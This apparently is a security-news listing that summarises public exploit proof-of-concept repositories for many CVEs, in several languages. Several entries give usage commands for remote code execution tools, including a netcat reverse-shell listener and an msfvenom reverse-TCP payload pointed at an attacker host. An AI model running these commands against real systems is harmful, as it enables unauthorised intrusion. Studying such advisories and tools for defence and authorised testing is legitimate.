CVE-2025-55182

CVE-2025-55182.yaml CVE-2025-55182 PoC nuclei -target url -t CVE-2025-55182.yaml nuclei-templateから改造 核心コード： root@kitploit: "then":"$1:proto:then","status":"resolvedmodel","reason":-1,"value":""then":"$B1337"","response":"prefix":"var...

POC-CVE-2025-68613

描述 针对 N8N 已认证 RCE 漏洞 CVE-2025-68613 的 PoC 漏洞利用代码 使用方法 python3 poc.py -u -c...

CVE-2025-55182-PoC

CVE-2025-55182-PoC CVE-2025-55182 的 PoC root@kitploit: Usage: python3 poc.py -u http://target.com --cmd "" 法律免责声明 本工具仅用于教育目的和授权安全测试。未经双方事先同意，使用本工具攻击目标属于违法行为。开发者不承担任何责任，亦不对因使用本程序造成的任何滥用或损害负责。 环境要求 pip install requests 使用方法 你可以通过三种模式运行该工具：Check（检测）、Exploit（利用）或 Interactive Shell（交互式 Shell）。...

CVE-2024-28397-Reverse-Shell

CVE-2024-28397-反弹Shell 针对CVE-2024-28397的反弹Shell。 漏洞利用适用于 js2py = v0.74 要求 requests库（pip install requests） Python3 Netcat（或可用于监听反弹Shell的工具） 使用方法 监听端 root@kitploit: nc -lnvp 4444 利用端 root@kitploit: python3 exploit.py 10.129.66.160 8000 /runcode --localip 10.10.15.11 --localport 4444...

CVE-2025-67435

CVE-2025-67436 PluXml CMS 5.8.22 中的认证远程代码执行RCE 研究人员：Chowdhury Faizal Ahammed 安装 root@kitploit: git clone https://github.com/pluxml/PluXml.git cd PluXml ddev config --project-type=php --php-version=8.1 --docroot=. ddev start 概念验证 逐步利用过程 认证：使用有效的管理员凭据登录 PluXML 管理面板 导航到主题编辑器： 访问管理仪表板 导航到：主题 → Home.p...

CVE-2023-27532-RCE-Only

复刻版本（仅限 RCE） 已复刻该仓库并移除了凭据泄露部分。已应用编译修复。 CVE-2023-27532 用于利用 CVE-2023-27532 的概念验证代码，可泄露明文凭据或执行远程命令。 概述 有关漏洞及其利用的详细分析，请阅读 Rapid7 的 AttackerKB 分析。 编译 使用 Visual Studio 打开。由于 Liberis 的 Veeam.Backup.Common.dll、Veeam.Backup.Interaction.MountService.dll 和 Veeam.Backup.Model.dll 已包含在项目中，因此无需为此担心。 用法...

n8n-Authenticated-Expression-Injection-RCE-CVE-2025-68613

n8n 认证表达式注入远程代码执行 – CVE-2025-68613 严重远程代码执行 CVSS 9.9 在 n8n 工作流自动化工具中 概念验证 – 仅供教育和授权安全研究使用 ⚠️ 重要法律警告 此代码严格仅供教育目的和在受控实验室环境中进行授权安全测试使用。 未经明确书面许可，在生产系统或任何系统上未经授权使用是违法的 ，并且在大多数司法管辖区违反了计算机滥用和网络安全法律。 使用风险自负。作者不对任何滥用行为负责。 漏洞信息...

cve-2025-59287

CVE-2025-59287 - WSUSエクスプロイトツールキット 作者: adel-h4x0a ⚠️ 教育および許可されたテスト目的のみ ⚠️ 概要 このツールキットは、Windows Server Update Services WSUS のリモートコード実行脆弱性であるCVE-2025-59287の悪用を実演します。 コンポーネント 1. 暗号化モジュール cve-2025-59287-encr.py · WSUS通信のためのAESペイロード暗号化 · レガシーおよびセキュア暗号化モードの両方をサポート · カスタムペイロード生成 2. 悪用モジュール...

CVE-2024-27198-POC

CVE-2024-27198 – JetBrains TeamCity Authentication Bypass & RCE PoC Author: EynaExp Scope: Research / Defensive Validation / Authorized Testing Only Overview This repository contains a proof-of-concept mass scanner targeting JetBrains TeamCity instances affected by CVE-2024-27198 , an...

CVE-2019-16278

CVE-2019-16278 - Nostromo nhttpd RCE 脆弱性の説明 Nostromo nhttpd バージョン 1.9.6 以前における、HTTPリクエスト処理内のディレクトリトラバーサルを利用したリモートコード実行の脆弱性。 影響を受けるバージョン Nostromo nhttpd 1.9.6 以前 エクスプロイトの詳細 このエクスプロイトは、URLエンコードされたCRLF文字（%0d）を使用してディレクトリトラバーサル脆弱性を悪用し、/bin/shにアクセスして任意のコマンドを実行します。 動作の仕組み： 1...

CVE-2025-55449-AstrBot-RCE

介绍 AstrBot=3.5.17在源码中硬编码了JWT secret，导致可以任意上传插件，实现RCE 使用 root@kitploit: python main.py 'http://127.0.0.1:6185' 源码 https://github.com/AstrBotDevs/AstrBot.git...

CVE-2023-26360-RCE

CVE-2023-26360 - ColdFusion 2021 上的远程代码执行 有时，脚本在第一次尝试时不会生效。多试几次即可 如何执行 使用 msfvenom 创建载荷 root@kitploit: msfvenom -p java/shellreversetcp LHOST=192.168.56.1 LPORT=4444 file.java 启动 server.py 该服务器将在使用 cve.2023-26360.py 完成初始访问后，将载荷发送到 Coldfusion 服务器，因此需要先启动它。 root@kitploit: python3 server.py 8000 参数...

CVE-2024-1813-POC

CVE-2024-1813 - Simple Job Board ≤ 2.11.0（WordPress）- 未认证的 PHP 对象注入 🎥 概念验证演示 端到端流程：访客通过公开的申请表单存储一个序列化的 PHP 对象，管理员打开申请人列表后，Gadget 链会写入一个 WebShell。 Simple Job Board （PressTigers）WordPress 插件存在未认证的 PHP 对象注入漏洞。访客通过公开的申请表单存储一个序列化的 PHP 对象；当管理员随后打开申请人列表时，插件会将其反序列化，第三方 Gadget 链会将其转换为远程代码执行。 | ---|--- CVE...

CVE-2017-9841-PHPUnit-Remote-Code-Execution-PoC

CVE-2017-9841 — Prueba de Concepto PoC de Ejecución Remota de Código RCE en PHPUnit ⚠️ AVISO: Esta herramienta está destinada únicamente para fines educativos y pruebas de seguridad autorizadas. El uso no autorizado contra sistemas que no poseas o para los que no tengas permiso explícito es ilegal...

CVE-2025-55182_PoC-Test-Server

CVE-2025-55182PoC-Test-Server CVE-2025-55182 React RCE 测试服务器...

CVE-2026-59734-POC

ハッカーグリッチ 🚨 CVE-2026-59734 — Coolify RCE エクスプロイト ヘルスチェックにおけるOSコマンドインジェクション → リモートコード実行...

CVE-2025-24813-Apache-Tomcat-Partial-PUT-Deserialization-RCE-

CVE-2025-24813 - Apache Tomcat 部分 PUT + 反序列化 RCE 📋 概述 CVE-2025-24813 是 Apache Tomcat 中的一个高危漏洞，当满足以下三个条件时，它允许未认证的远程代码执行 ： 1. 默认 Servlet 已启用写入权限（readonly=false）。 2. 已启用部分 PUT 支持（默认启用）。 3. 已配置基于文件的会话持久化（PersistentManager 配合 FileStore）。 攻击者可以借助部分 PUT 请求 （使用 Content-Range 请求头）将恶意序列化 Java...

mcp-pwn

CVE-2026-23744 — Ejecución remota de código no autenticada en MCPJam Resumen MCPJam es un inspector y proxy MCP Model Context Protocol de código abierto utilizado para conectar, depurar y gestionar servidores MCP. Las versiones = 1.4.2 exponen el endpoint /api/mcp/connect sin autenticación ni...

CVE-2025-24893-

CVE-2025-24893- CVE-2025-24893 | Remote Code Execution Vulnerability on XWiki platform proof of concept...

apache_audit_cve-2026-23918

cve-2026-23918 针对 CVE-2026-23918 （Apache HTTPD HTTP/2 双重释放 RCE）以及 2026 年 5 月 4 日 Apache 软件基金会安全公告中披露的其他四个相关 CVE 的防御性审计工具。 CVE| 严重性| 组件| 影响| 受影响版本 ---|---|---|---|--- CVE-2026-23918| 高危（CVSS 8.8）| HTTP/2| 双重释放 / RCE| 仅 2.4.66 CVE-2026-24072| 中危| modrewrite（apexpr）| 权限提升| ≤ 2.4.66 CVE-2026-28780| 低...